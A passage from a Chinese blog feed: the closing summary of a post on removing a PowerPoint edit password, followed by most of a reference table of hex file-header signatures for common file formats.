title="总结"></a>总结</h1><p>在这次的问题中，我们需要注意到以下几点：</p><ol><li>PPT的本质是一个压缩包</li><li>密码验证是文件的一部分，必然会存在于源文件的配置中</li></ol><p>此外，这一方法理论上也可以扩展到所有的MS Office格式文件中，至于是否可用，需要各位读者自行验证，本人不做过多赘述与测试。</p><p>感谢阅读！</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近收到了一个上面发下来的PPT文件需要学习内容，在打开的时候觉得PPT的模板很不错，想要收拾收拾方便后面使用，却发现文件被加了编辑密码，遂在研究后成此文。&lt;/p&gt;
&lt;h1 id=&quot;被加密的PPT&quot;&gt;&lt;a href=&quot;#被加密的PPT&quot; class=&quot;headerlink&quot;</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="Office" scheme="https://blog.ypa.moe/tags/Office/"/>
    
    <category term="密码" scheme="https://blog.ypa.moe/tags/%E5%AF%86%E7%A0%81/"/>
    
    <category term="破解" scheme="https://blog.ypa.moe/tags/%E7%A0%B4%E8%A7%A3/"/>
    
  </entry>
  
  <entry>
    <title>常用文件格式文件头列表</title>
    <link href="https://blog.ypa.moe/%E5%B8%B8%E7%94%A8%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E6%96%87%E4%BB%B6%E5%A4%B4%E5%88%97%E8%A1%A8/"/>
    <id>https://blog.ypa.moe/%E5%B8%B8%E7%94%A8%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E6%96%87%E4%BB%B6%E5%A4%B4%E5%88%97%E8%A1%A8/</id>
    <published>2023-04-30T01:00:00.000Z</published>
    <updated>2023-07-27T05:39:59.656Z</updated>
    
    <content type="html"><![CDATA[<p>有时候我们在遇到一些损坏的文件或者文件格式后缀与实际文件格式不同甚至是没有标注文件格式的情况下我们就需要用到文件的HEX编码来判断手上的文件是究竟是什么格式的。<br>为方便判断使用，列此表。</p><table><thead><tr><th>扩展名</th><th>文件头标识（HEX）</th><th>文件描述</th></tr></thead><tbody><tr><td>123</td><td>00 00 1A 00 05 10 04</td><td>Lotus 1-2-3 spreadsheet (v9) file</td></tr><tr><td>3gg; 3gp; 3g2</td><td>00 00 00 nn 66 74 79 70 33 67 70</td><td>3rd Generation Partnership Project 3GPP (nn&#x3D;0x14) and 3GPP2 (nn&#x3D;0x20) multimedia files</td></tr><tr><td>7z</td><td>37 7A BC AF 27 1C</td><td>7-ZIP compressed file</td></tr><tr><td>aba</td><td>00 01 42 41</td><td>Palm Address Book Archive file</td></tr><tr><td>abi</td><td>41 4F 4C 49 4E 44 45 58</td><td>AOL address book index file</td></tr><tr><td>aby; idx</td><td>41 4F 4C 44 42</td><td>AOL database files: address book (ABY) and user configuration data (MAIN.IDX)</td></tr><tr><td>accdb</td><td>00 01 00 00 53 74 61 6E 64 61 72 64 20 41 43 45 20 44 42</td><td>Microsoft Access 2007 file</td></tr><tr><td>ACM</td><td>4D 5A</td><td>MS audio compression manager driver</td></tr><tr><td>ADF</td><td>44 4F 53</td><td>Amiga disk file</td></tr><tr><td>adx</td><td>03 00 00 00 41 50 50 52</td><td>Lotus Approach ADX file</td></tr><tr><td>AIFF</td><td>46 4F 52 4D 00</td><td>Audio Interchange File</td></tr><tr><td>ain</td><td>21 12</td><td>AIN Compressed Archive File</td></tr><tr><td>ami</td><td>5B 76 65 72 5D</td><td>Lotus Ami Pro</td></tr><tr><td>amr</td><td>23 21 41 4D 52</td><td>Adaptive Multi-Rate ACELP (Algebraic Code Excited Linear Prediction) Codec, commonly audio format with GSM cell phones</td></tr><tr><td>ANI</td><td>52 49 46 46</td><td></td></tr><tr><td>API</td><td>4D 5A 90 00 03 00 00 00</td><td>Acrobat plug-in</td></tr><tr><td>arc</td><td>1A 0x</td><td>LH archive file, old version(where x &#x3D; 0x2, 0x3, 0x4, 0x8 or 0x9 for types 1-5, respectively)</td></tr><tr><td>arc</td><td>41 72 43 01</td><td>FreeArc compressed file</td></tr><tr><td>arj</td><td>60 EA</td><td>ARJ Compressed Archive</td></tr><tr><td>ARJ</td><td>60 EA 27</td><td></td></tr><tr><td>ART</td><td>4A 47 03 0E 00 00 00</td><td>AOL ART file</td></tr><tr><td>ART</td><td>4A 47 04 0E 00 00 00</td><td>AOL ART file</td></tr><tr><td>asf</td><td>30 26 B2 75 8E 66 CF 11</td><td>Windows Media</td></tr><tr><td>asf; wma; wmv</td><td>30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C</td><td>Microsoft Windows Media Audio&#x2F;Video File(Advanced Streaming Format)</td></tr><tr><td>asx</td><td>3C</td><td>Advanced Stream redirector file</td></tr><tr><td>au</td><td>2E 73 6E 64</td><td>SoundMachine Audio File NeXT&#x2F;Sun Microsystems μ-Law audio file</td></tr><tr><td>avi</td><td>41 56 49 20</td><td>Audio Video Interleave (AVI)</td></tr><tr><td>AX</td><td>4D 5A</td><td>Library cache file</td></tr><tr><td>AX</td><td>4D 5A 90 00 03 00 00 00</td><td>DirectShow filter</td></tr><tr><td>bag</td><td>41 4F 4C 20 46 65 65 64 62 61 67</td><td>AOL and AIM buddy list file</td></tr><tr><td>BAS</td><td>20 20 20</td><td></td></tr><tr><td>bin</td><td>42 4C 49 32 32 33 51</td><td>Thomson Speedtouch series WLAN router firmware</td></tr><tr><td>bmp</td><td>42 4D</td><td>Windows Bitmap</td></tr><tr><td>BMP</td><td>42 4D 3E</td><td></td></tr><tr><td>bz; bz2</td><td>42 5A 68</td><td>BZIP Archive</td></tr><tr><td>BZ2; TAR.BZ2; TBZ2; TB2</td><td>42 5A 68</td><td>bzip2 compressed archive</td></tr><tr><td>CAB</td><td>49 53 63</td><td></td></tr><tr><td>CAB; HDR</td><td>49 53 63 28</td><td>Install Shield v5.x or 6.x compressed file</td></tr><tr><td>CAB</td><td>4D 53 43 46</td><td>Microsoft CAB File Format</td></tr><tr><td>cat</td><td>30</td><td>Microsoft security catalog file</td></tr><tr><td>CBD</td><td>43 42 46 49 4C 45</td><td>WordPerfect dictionary file (unconfirmed)</td></tr><tr><td>CCD</td><td>5B 43 6C</td><td></td></tr><tr><td>cdr</td><td>CDR</td><td>Corel Draw</td></tr><tr><td>CDR</td><td>45 4C 49 54 45 20 43 6F 6D 6D 61 6E 64 65 72 20</td><td>Elite Plus Commander saved game file</td></tr><tr><td>CDR, DVF</td><td>4D 53 5F 56 4F 49 43 45</td><td>Sony Compressed Voice File</td></tr><tr><td>CHI; CHM</td><td>49 54 53 46</td><td>Microsoft Compiled HTML Help File</td></tr><tr><td>CHM</td><td>49 54 53</td><td></td></tr><tr><td>CLB</td><td>43 4D 58 31</td><td>Corel Binary metafile</td></tr><tr><td>CLB</td><td>43 4F 4D 2B</td><td>COM+ Catalog file</td></tr><tr><td>cnt</td><td>3A 42 61 73 65</td><td></td></tr><tr><td>COM, DLL, DRV, EXE, PIF, QTS, QTX, SYS</td><td>4D 5A</td><td>Windows&#x2F;DOS executable file</td></tr><tr><td>COM</td><td>4D 5A EE</td><td></td></tr><tr><td>COM</td><td>E9 3B 03</td><td></td></tr><tr><td>CPE</td><td>46 41 58 43 4F 56 45 52 2D 56 45 52</td><td>Microsoft Fax Cover Sheet</td></tr><tr><td>CPL</td><td>4D 5A</td><td>Control panel application</td></tr><tr><td>CPT</td><td>43 50 54 37 46 49 4C 45</td><td>Corel Photopaint file</td></tr><tr><td>CPT</td><td>43 50 54 46 49 4C 45</td><td>Corel Photopaint file</td></tr><tr><td>CPX</td><td>5B 57 69</td><td></td></tr><tr><td>cru; crush</td><td>43 52 55 53 48</td><td>CRUSH Archive File</td></tr><tr><td>CRU</td><td>43 52 55 53 48 20 76</td><td>Crush compressed archive</td></tr><tr><td>CRW</td><td>49 49 1A 00 00 00 48 45 41 50 43 43 44 52 02 00</td><td>Canon digital camera RAW file</td></tr><tr><td>CTF</td><td>43 61 74 61 6C 6F 67 20 33 2E 30 30 00</td><td>WhereIsIt Catalog file</td></tr><tr><td>CUR</td><td>00 00 02 00 01 00 20 20</td><td>Windows cursor file</td></tr><tr><td>dat</td><td>3</td><td>MapInfo Native Data Format</td></tr><tr><td>dat</td><td>1A 52 54 53 20 43 4F 4D 50 52 45 53 53 45 44 20 49 4D 41 47 45 20 56 31 2E 30 1A</td><td>Runtime Software disk image</td></tr><tr><td>dat</td><td>41 56 47 36 5F 49 6E 74 65 67 72 69 74 79 5F 44 61 74 61 62 61 73 65</td><td>AVG6 Integrity database file</td></tr><tr><td>DAT</td><td>43 52 45 47</td><td>Windows 9x registry hive</td></tr><tr><td>DAT</td><td>43 6C 69 65 6E 74 20 55 72 6C 43 61 63 68 65 20 4D 4D 46 20 56 65 72 20</td><td>IE History DAT file</td></tr><tr><td>DAT</td><td>45 52 46 53 53 41 56 45 44 41 54 41 46 49 4C 45</td><td>Kroll EasyRecovery Saved Recovery State file</td></tr><tr><td>DAT</td><td>49 6E 6E 6F 20 53 65 74 75 70 20 55 6E 69 6E 73 74 61 6C 6C 20 4C 6F 67 20 28 62 29</td><td>Inno Setup Uninstall Log file</td></tr><tr><td>db</td><td>00 06 15 61 00 00 00 02 00 00 04 D2 00 00 10 00</td><td>Netscape Navigator (v4) database file</td></tr><tr><td>DB</td><td>44 42 46 48</td><td>Palm Zire photo database</td></tr><tr><td>db</td><td>8</td><td>dBASE IV or dBFast configuration file</td></tr><tr><td>db3</td><td>3</td><td>dBASE III file</td></tr><tr><td>db4</td><td>4</td><td>dBASE IV data file</td></tr><tr><td>dba</td><td>00 01 42 44</td><td>Palm DateBook Archive file</td></tr><tr><td>dbx</td><td>CF AD 12 FE</td><td></td></tr><tr><td>dbx</td><td>CF AD 12 FE C5 FD 74 6F</td><td>Outlook Express</td></tr><tr><td>dci</td><td>3C 21 64 6F 63 74 79 70</td><td>AOL HTML mail file</td></tr><tr><td>dcx</td><td>3A DE 68 B1</td><td>DCX Graphic File</td></tr><tr><td>DDB</td><td>00 01 00</td><td></td></tr><tr><td>dib</td><td>42 4D</td><td>device-independent bitmap image</td></tr><tr><td>DLL</td><td>4D 5A 90</td><td></td></tr><tr><td>DMP</td><td>4D 44 4D 50 93 A7</td><td>Windows minidump file</td></tr><tr><td>DMS</td><td>44 4D 53 21</td><td>Amiga DiskMasher compressed archive</td></tr><tr><td>doc</td><td>0D 44 4F 43</td><td>DeskMate Document file</td></tr><tr><td>doc</td><td>12 34 56 78 90 FF</td><td>MS Word 6.0</td></tr><tr><td>doc</td><td>31 BE 00 00 00 AB 00 00</td><td>MS Word for DOS 6.0</td></tr><tr><td>doc</td><td>7F FE 34 0A</td><td>MS Word</td></tr><tr><td>dot; ppt; xla; ppa; pps; pot; msi; sdw; db</td><td>D0 CF 11 E0</td><td>MS Office&#x2F;OLE2</td></tr><tr><td>doc; dot; xls; xlt; xla; ppt; apr ;ppa; pps; pot; msi; sdw; db</td><td>D0 CF 11 E0 A1 B1 1A E1</td><td>MS Compound Document v1 or Lotus Approach APR file</td></tr><tr><td>DPL</td><td>4D 5A 50</td><td></td></tr><tr><td>DRV</td><td>4D 5A 16</td><td></td></tr><tr><td>drw</td><td>7</td><td>A common signature and file extension for many drawing programs.</td></tr><tr><td>drw</td><td>01 FF 02 04 03 02</td><td>Micrografx vector graphic file</td></tr><tr><td>ds4</td><td>4D 47 58 20 69 74 70 64</td><td>Micrografix Designer 4</td></tr><tr><td>DSN</td><td>4D 56</td><td>CD Stomper Pro label file</td></tr><tr><td>dsp</td><td>23 20 4D 69 63 72 6F 73 6F 66 74 20 44 65 76 6 56C 6F 70 65 72 20 53 74 75 64 69 6F</td><td>Microsoft Developer Studio project file</td></tr><tr><td>dss</td><td>02 64 73 73</td><td>Digital Speech Standard (Olympus, Grundig, &amp; Phillips)</td></tr><tr><td>dtd</td><td>07 64 74 32 64 64 74 64</td><td>DesignTools 2D Design file</td></tr><tr><td>dtd</td><td>3C 21 45 4E 54 49 54 59</td><td>XML DTD</td></tr><tr><td>DVR</td><td>44 56 44</td><td>DVR-Studio stream file</td></tr><tr><td>dwg</td><td>41 43 31</td><td></td></tr><tr><td>Enn (where nn are numbers)</td><td>45 56 46</td><td>EnCase evidence file</td></tr><tr><td>ECO</td><td>2A 50 52</td><td></td></tr><tr><td>elf</td><td>7F 45 4C 46 01 01 01 00</td><td>ELF Executable</td></tr><tr><td>emf</td><td>01 00 00 00 58 00 00 00</td><td>Extended (Enhanced) Windows Metafile Format, printer spool file</td></tr><tr><td>eml</td><td>44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A</td><td>Email</td></tr><tr><td>EML</td><td>46 72 6F 6D 20 20 20</td><td>A commmon file extension for e-mail files. Signatures shown here are for Netscape, Eudora, and a generic signature, respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>46 72 6F 6D 20 3F 3F 3F</td><td>A commmon file extension for e-mail files. Signatures shown here are for Netscape, Eudora, and a generic signature, respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>46 72 6F 6D 3A 20</td><td>A commmon file extension for e-mail files. Signatures shown here are for Netscape, Eudora, and a generic signature, respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>52 65 63</td><td></td></tr><tr><td>enc</td><td>00 5C 41 B1 FF</td><td>Mujahideen Secrets 2 encrypted file</td></tr><tr><td>enl</td><td>[32 byte offset] 40 40 40 20 00 00 40 40 40 40</td><td>EndNote Library File</td></tr><tr><td>eps</td><td>25 21 50 53</td><td>Adobe EPS File</td></tr><tr><td>eps</td><td>25 21 50 53 2D 41 64 6F 62 65</td><td>Postscript</td></tr><tr><td>eps</td><td>25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 20 30</td><td>Adobe encapsulated PostScript file (If this signature is not at the immediate beginning of the file, it will occur early in the file, commonly at byte offset 30)</td></tr><tr><td>EPS</td><td>C5 D0 D3</td><td></td></tr><tr><td>eth</td><td>1A 35 01 00</td><td>GN Nettest WinPharoah capture file</td></tr><tr><td>evt</td><td>30 00 00 00 4C 66 4C 65</td><td>Windows Event Viewer file</td></tr><tr><td>evt</td><td>03 00 00 00 C4 66 C4 56</td><td></td></tr><tr><td>EVTX</td><td>45 6C 66 46 69 6C 65 00</td><td>Windows Vista event log file</td></tr><tr><td>exe; dll; drv; vxd; sys; ocx; vbx</td><td>4D 5A</td><td>Win32 Executable</td></tr><tr><td>exe; dll; drv; vxd; sys; ocx; vbx</td><td>4D 5A</td><td>Win16 Executable</td></tr><tr><td>exe; com; 386; ax; acm; sys; dll; drv; flt; fon; ocx; scr; lrc; vxd; cpl; x32</td><td>4D 5A</td><td>Executable File</td></tr><tr><td>EXE, DLL, OCX, OLB, IMM, IME</td><td>4D 5A 90</td><td></td></tr><tr><td>fli</td><td>00 11 AF</td><td>FLIC Animation file</td></tr><tr><td>flt</td><td>00 01 01</td><td>OpenFlight 3D file</td></tr><tr><td>FLT</td><td>4D 5A 90 00 03 00 00 00</td><td>Audition graphic filter file (Adobe)</td></tr><tr><td>FLV</td><td>46 4C 56 01</td><td>Flash video file</td></tr><tr><td>fm</td><td>3C 4D 61 6B 65 72 46 69 6C 65 20</td><td>Adobe FrameMaker file</td></tr><tr><td>fm3</td><td>00 00 1A 00 07 80 01 00</td><td>Lotus 123 v3 FMT file</td></tr><tr><td>fmt</td><td>20 00 68 00 20 0</td><td>Lotus 123 v4 FMT file</td></tr><tr><td>FNT</td><td>43 48 41</td><td></td></tr><tr><td>FON</td><td>4D 5A</td><td>Font file</td></tr><tr><td>GBC</td><td>87 F5 3E</td><td></td></tr><tr><td>gid</td><td>3F 5F 03 00</td><td>Windows Help Index File</td></tr><tr><td>GID</td><td>4C 4E 02 00</td><td>Windows Help index file</td></tr><tr><td>GIF</td><td>47 49 46 38</td><td></td></tr><tr><td>gif</td><td>47 49 46 38 37 61</td><td>Graphics interchange format file (GIF 87A)</td></tr><tr><td>gif</td><td>47 49 46 38 39 61</td><td>Graphics interchange format file (GIF89A)</td></tr><tr><td>GTD</td><td>7B 50 72</td><td></td></tr><tr><td>GX2</td><td>47 58 32</td><td>Show Partner graphics file (not confirmed)</td></tr><tr><td>gz; tar; tgz</td><td>1F 8B</td><td>Gzip Archive File</td></tr><tr><td>gz; tgz</td><td>1F 8B 08</td><td>GZ Compressed File</td></tr><tr><td>hap</td><td>91 33 48 46</td><td>HAP Archive File</td></tr><tr><td>HDMP</td><td>4D 44 4D 50 93 A7</td><td>Windows heap dump file</td></tr><tr><td>hdr</td><td>23 3F 52 41 44 49 41 4E 43 45 0A</td><td>adiance High Dynamic Range image file</td></tr><tr><td>HLP</td><td>3F 5F 03</td><td></td></tr><tr><td>hlp</td><td>3F 5F 03 00</td><td>Windows Help file</td></tr><tr><td>HLP</td><td>4C 4E 02 00</td><td>Windows Help file</td></tr><tr><td>hlp</td><td>[7 byte offset] 00 00 FF FF FF FF</td><td>Windows Help file</td></tr><tr><td>hqx</td><td>28 54 68 69 73 20 66 69 6C 65</td><td>Macintosh BinHex 4 Compressed Archive</td></tr><tr><td>hqx</td><td>28 54 68 69 73 20 66 69 6C 65 20 6D 75 73 74 20 62 65 20 63 6F 6E 76 65 72 74 65 64 20 77 69 74 68 20 42 69 6E 48 65 78 20</td><td>Macintosh BinHex 4 Compressed Archive</td></tr><tr><td>HTM</td><td>3C 21 44</td><td></td></tr><tr><td>htm; html</td><td>3C 21 44 4F 43 54</td><td>HyperText Markup Language 3</td></tr><tr><td>htm; html</td><td>3C 48 54 4D 4C 3E</td><td>HyperText Markup Language 2</td></tr><tr><td>htm; html</td><td>3C 68 74 6D 6C 3E</td><td>HyperText Markup Language 1</td></tr><tr><td>html</td><td>68 74 6D 6C 3E</td><td>HTML</td></tr><tr><td>ico</td><td>00 00 01 00 00</td><td>Icon File</td></tr><tr><td>ico</td><td>00 00 01 00 01 00 20 20</td><td>Icon File</td></tr><tr><td>IFF</td><td>46 4F 52 4D</td><td></td></tr><tr><td>IFO</td><td>44 56 44</td><td>DVD info file</td></tr><tr><td>IME</td><td>4D 5A 90</td><td></td></tr><tr><td>img</td><td>00 01 00 08 00 01 00 01 01</td><td>Ventura Publisher&#x2F;GEM VDI Image Format Bitmap file</td></tr><tr><td>IMG</td><td>00 FF FF</td><td></td></tr><tr><td>IMM</td><td>4D 5A 90</td><td></td></tr><tr><td>ind</td><td>41 4F 4C 49 44 58</td><td>AOL client preferences&#x2F;settings file (MAIN.IND)</td></tr><tr><td>ISO</td><td>43 44 30 30 31</td><td>ISO-9660 CD Disc Image (This signature usually occurs at byte 8001, 8801, or 9001.)</td></tr><tr><td>ivr</td><td>2E 52 45 43</td><td>RealPlayer video file (V11 and later)</td></tr><tr><td>JAR</td><td>4A 41 52 43 53 00</td><td>JARCS compressed archive</td></tr><tr><td>jar</td><td>5F 27 A8 89</td><td>JAR Archive File</td></tr><tr><td>jpg; jpeg</td><td>FF D8 FF</td><td></td></tr><tr><td>jpg; jpe; jpeg</td><td>FF D8 FF E0 00</td><td>JPG Graphic File</td></tr><tr><td>jpg; jpe; jpeg</td><td>FF D8 FF FE 00</td><td>JPG Graphic File</td></tr><tr><td>KGB</td><td>4B 47 42 5F 61 72 63 68 20 2D</td><td>KGB archive</td></tr><tr><td>KOZ</td><td>49 44 33 03 00 00 00</td><td>Sprint Music Store audio file (for mobile devices)</td></tr><tr><td>LDB</td><td>42 49 4C</td><td></td></tr><tr><td>lha</td><td>2D 6C 68 35 2D</td><td>LHA Compressed</td></tr><tr><td>lha; lzh</td><td>[2 byte offset] 2D 6C 68</td><td>Compressed archive file</td></tr><tr><td>LHP</td><td>3F 5F 03</td><td></td></tr><tr><td>lhp</td><td>3F 5F 03 00</td><td>Windows Help File</td></tr><tr><td>lib</td><td>21 3C 61 72 63 68 3E 0A</td><td>Unix archiver (ar) files and Microsoft Program Library Common Object File Format (COFF)</td></tr><tr><td>LIB</td><td>2A 24 20</td><td></td></tr><tr><td>LIT</td><td>49 54 4F 4C 49 54 4C 53</td><td>Microsoft Reader eBook file</td></tr><tr><td>LNK</td><td>4C 00 00</td><td></td></tr><tr><td>lnk</td><td>4C 00 00 00</td><td>Windows Shortcut (Link File)</td></tr><tr><td>lnk</td><td>4C 00 00 00 01 14 02</td><td>Windows Link File</td></tr><tr><td>LNK</td><td>4C 00 00 00 01 14 02 00</td><td>Windows shortcut file</td></tr><tr><td>log</td><td>2A 2A 2A 20 20 49 6E 73 74 61 6C 6C 61 74 69 6F 6E 20 53 74 61 72 74 65 64 20</td><td>Symantec Wise Installer log file</td></tr><tr><td>lzh</td><td>lh</td><td>Lz compression file</td></tr><tr><td>lwp</td><td>57 6F 72 64 50 72 6F</td><td>Lotus WordPro v9</td></tr><tr><td>m3u</td><td>23 45 58</td><td></td></tr><tr><td>m4a</td><td>00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00</td><td>Apple Lossless Audio Codec file</td></tr><tr><td>m4a; m4v</td><td>00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00</td><td>QuickTime M4A&#x2F;M4V file</td></tr><tr><td>manifest</td><td>3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D</td><td>Windows Visual Stylesheet XML file</td></tr><tr><td>MAR</td><td>4D 41 52 31 00</td><td>Mozilla archive</td></tr><tr><td>MAR</td><td>4D 41 52 43</td><td>Microsoft&#x2F;MSN MARC archive</td></tr><tr><td>MAR</td><td>4D 41 72 30 00</td><td>MAr compressed archive</td></tr><tr><td>max</td><td>D0 CF 11</td><td></td></tr><tr><td>mdb</td><td>00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42</td><td>Microsoft Access file</td></tr><tr><td>mdb; mda; mde; mdt</td><td>53 74 61 6E 64 61 72 64 20 4A</td><td>MS Access</td></tr><tr><td>MDF</td><td>00 FF FF</td><td></td></tr><tr><td>mdf</td><td>00 FF FF FF FF FF FF FF FF FF FF 00 00 02 00 01</td><td>Alcohol 120% CD image</td></tr><tr><td>mdf</td><td>01 0F 00 00</td><td>Microsoft SQL Server 2000 database</td></tr><tr><td>MDI</td><td>45 50</td><td>Microsoft Document Imaging file</td></tr><tr><td>MDS</td><td>4D 45 44</td><td></td></tr><tr><td>MID; MIDI</td><td>4D 54 68 64</td><td>Musical Instrument Digital Interface (MIDI) sound file</td></tr><tr><td>mkv</td><td>1A 45 DF A3 93 42 82 88 6D 61 74 72 6F 73 6B 61</td><td>Matroska stream file</td></tr><tr><td>MLS</td><td>4D 49 4C 45 53</td><td>Milestones v1.0 project management and scheduling software (Also see “MV2C” and “MV214” signatures)</td></tr><tr><td>MLS</td><td>4D 4C 53 57</td><td>Skype localization data file</td></tr><tr><td>MLS</td><td>4D 56 32 31 34</td><td>Milestones v2.1b project management and scheduling software (Also see “MILES” and “MV2C” signatures)</td></tr><tr><td>MLS</td><td>4D 56 32 43</td><td>Milestones v2.1a project management and scheduling software (Also see “MILES” and “MV214” signatures)</td></tr><tr><td>MMF</td><td>4D 4D 4D 44 00 00</td><td>Yamaha Corp. Synthetic music Mobile Application Format (SMAF) for multimedia files that can be played on hand-held devices.</td></tr><tr><td>mny</td><td>00 01 00 00 4D 53 49 53 41 4D 20 44 61 74 61 62 61 73 65</td><td>Microsoft Money file</td></tr><tr><td>MOV</td><td>00 00 0F</td><td></td></tr><tr><td>MOV</td><td>00 00 77</td><td></td></tr><tr><td>mov</td><td>6D 6F 6F 76</td><td>Quicktime</td></tr><tr><td>mov</td><td>6D 64 61 74</td><td>QuickTime Movie</td></tr><tr><td>mp</td><td>0C ED</td><td>Monochrome Picture TIFF bitmap file (unconfirmed)</td></tr><tr><td>MP3</td><td>49 44 33</td><td>MPEG-1 Audio Layer 3 (MP3) audio file</td></tr><tr><td>MP3</td><td>FF FB 50</td><td></td></tr><tr><td>mp4</td><td>00 00 00 18 66 74 79 70 33 67 70 35</td><td>MPEG-4 video files</td></tr><tr><td>MPA</td><td>00 00 01</td><td></td></tr><tr><td>mpg; mpeg</td><td>00 00 01 B3</td><td>MPEG Movie</td></tr><tr><td>mpg</td><td>00 00 01 BA</td><td>MPEG</td></tr><tr><td>MSC</td><td>3C 3F 78</td><td></td></tr><tr><td>msc</td><td>3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 2E 30 22 3F 3E 0D 0A 3C 4D 4D 43 5F 43 6F 6E 73 6F 6C 65 46 69 6C 65 20 43 6F 6E 73 6F 6C 65 56 65 72 73 69 6F 6E 3D 22</td><td>Microsoft Management Console Snap-in Control file</td></tr><tr><td>msi</td><td>23 20</td><td>Cerius2 file</td></tr><tr><td>MSV</td><td>4D 53 5F 56 4F 49 43 45</td><td>Sony Memory Stick Compressed Voice file</td></tr><tr><td>NES</td><td>4E 45 53</td><td></td></tr><tr><td>NLS</td><td>C2 20 20</td><td></td></tr><tr><td>nri</td><td>0E 4E 65 72 6F 49 53 4F</td><td>Nero CD Compilation</td></tr><tr><td>ntf</td><td>1A 00 00</td><td>Lotus Notes database template</td></tr><tr><td>nsf; ntf</td><td>1A 00 00 03 00 00</td><td>Lotus Notes Database&#x2F;Template</td></tr><tr><td>nsf</td><td>1A 00 00 03 00 00 11 00</td><td>Notes Database</td></tr><tr><td>nsf</td><td>1A 00 00 04 00 00</td><td>Lotus Notes database</td></tr><tr><td>ntf</td><td>30 31 4F 52 44 4E 41 4E 43 45 20 53 55 52 56 45 59 20 20 20 20 20 20 20</td><td>National Transfer Format Map File</td></tr><tr><td>obj</td><td>4C 01</td><td>Microsoft Common Object File Format (COFF) relocatable object code file for an Intel 386 or later&#x2F;compatible processors</td></tr><tr><td>OCX</td><td>4D 5A</td><td>ActiveX or OLE Custom Control</td></tr><tr><td>OCX</td><td>4D 5A 90</td><td></td></tr><tr><td>OLB</td><td>4D 5A</td><td>OLE object library</td></tr><tr><td>OLB</td><td>4D 5A 90</td><td></td></tr><tr><td>org; pfc</td><td>41 4F 4C 56 4D 31 30 30</td><td>AOL personal file cabinet (PFC) file</td></tr><tr><td>pak</td><td>1A 0B</td><td>Compressed archive file</td></tr><tr><td>PAT</td><td>47 46 31 50 41 54 43 48</td><td>Advanced Gravis Ultrasound patch file</td></tr><tr><td>PAT</td><td>47 50 41 54</td><td>GIMP (GNU Image Manipulation Program) pattern file</td></tr><tr><td>PBK</td><td>5B 41 44</td><td></td></tr><tr><td>PCB</td><td>17 A1 50</td><td></td></tr><tr><td>PCS</td><td>0A 05 01</td><td></td></tr><tr><td>pcx</td><td>0A nn 01 01</td><td>ZSOFT Paintbrush file(where nn &#x3D; 0x02, 0x03, or 0x05)</td></tr><tr><td>pcx</td><td>0A 05 01 08</td><td>PC Paintbrush(often associated with Quake Engine games)</td></tr><tr><td>pdb</td><td>[11 byte offset] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td><td>Palmpilot Database&#x2F;Document File</td></tr><tr><td>PDF</td><td>25 50 44</td><td></td></tr><tr><td>pdf; fdf</td><td>25 50 44 46</td><td>Adobe Portable Document Format and Forms Document file</td></tr><tr><td>pdf</td><td>25 50 44 46 2D 31 2E</td><td>Adobe Acrobat</td></tr><tr><td>PDG</td><td>48 48 02</td><td></td></tr><tr><td>pf</td><td>11 00 00 00 53 43 43 41</td><td>Windows prefetch file</td></tr><tr><td>pic</td><td>01 00 00 00 01</td><td>Unknown type picture file</td></tr><tr><td>PJT</td><td>00 00 07</td><td></td></tr><tr><td>PLL</td><td>24 53 6F</td><td></td></tr><tr><td>PNG</td><td>89 50 4E</td><td></td></tr><tr><td>PNG</td><td>89 50 4E 47</td><td></td></tr><tr><td>png</td><td>89 50 4E 47 0D 0A</td><td>PNG Image File</td></tr><tr><td>png</td><td>89 50 4E 47 0D 0A 1A 0A</td><td>PNG Image File</td></tr><tr><td>PPC</td><td>52 65 63</td><td></td></tr><tr><td>PPT</td><td>D0 CF 11</td><td></td></tr><tr><td>ppt</td><td>[512 byte offset] 00 6E 1E F0</td><td>PowerPoint presentation subheader (MS Office)</td></tr><tr><td>ppt</td><td>[512 byte offset] 0F 00 E8 03</td><td>PowerPoint presentation subheader (MS Office)</td></tr><tr><td>PPZ</td><td>4D 53 43 46</td><td>Powerpoint Packaged Presentation</td></tr><tr><td>prc</td><td>42 4F 4F 4B 4D 4F 42 49</td><td>Palmpilot resource file</td></tr><tr><td>PRG</td><td>23 44 45</td><td></td></tr><tr><td>ps</td><td>25 21 50 53 2D 41 64 6F 62 65</td><td>Postscript</td></tr><tr><td>PSD</td><td>38 42 50</td><td></td></tr><tr><td>psd</td><td>38 42 50 53</td><td>Adobe Photoshop image file</td></tr><tr><td>psp</td><td>7E 42 4B 00</td><td>PaintShop Pro Image File</td></tr><tr><td>pst</td><td>21 42 44 4E</td><td>Microsoft Outlook Personal Folder file</td></tr><tr><td>pwl</td><td>E3 82 85 96</td><td>Windows Password</td></tr><tr><td>qbb</td><td>45 86 00 00 06 00</td><td>Intuit QuickBooks Backup file</td></tr><tr><td>qdf</td><td>AC 9E BD 8F</td><td>Quicken</td></tr><tr><td>qph</td><td>03 00 00 00</td><td>Quicken price history file</td></tr><tr><td>qt</td><td>6D 64 61 74</td><td>Quicktime Movie File</td></tr><tr><td>qxd</td><td>00 00 4D 4D 58 50 52</td><td></td></tr><tr><td>ra</td><td>2E 52 4D 46 00 00 00 12 00</td><td>Real Audio file</td></tr><tr><td>ra; ram</td><td>2E 72 61 FD</td><td>Real Audio File</td></tr><tr><td>ra</td><td>2E 72 61 FD 00</td><td>RealAudio streaming media file</td></tr><tr><td>RAR</td><td>52 61 72</td><td></td></tr><tr><td>rar</td><td>52 61 72 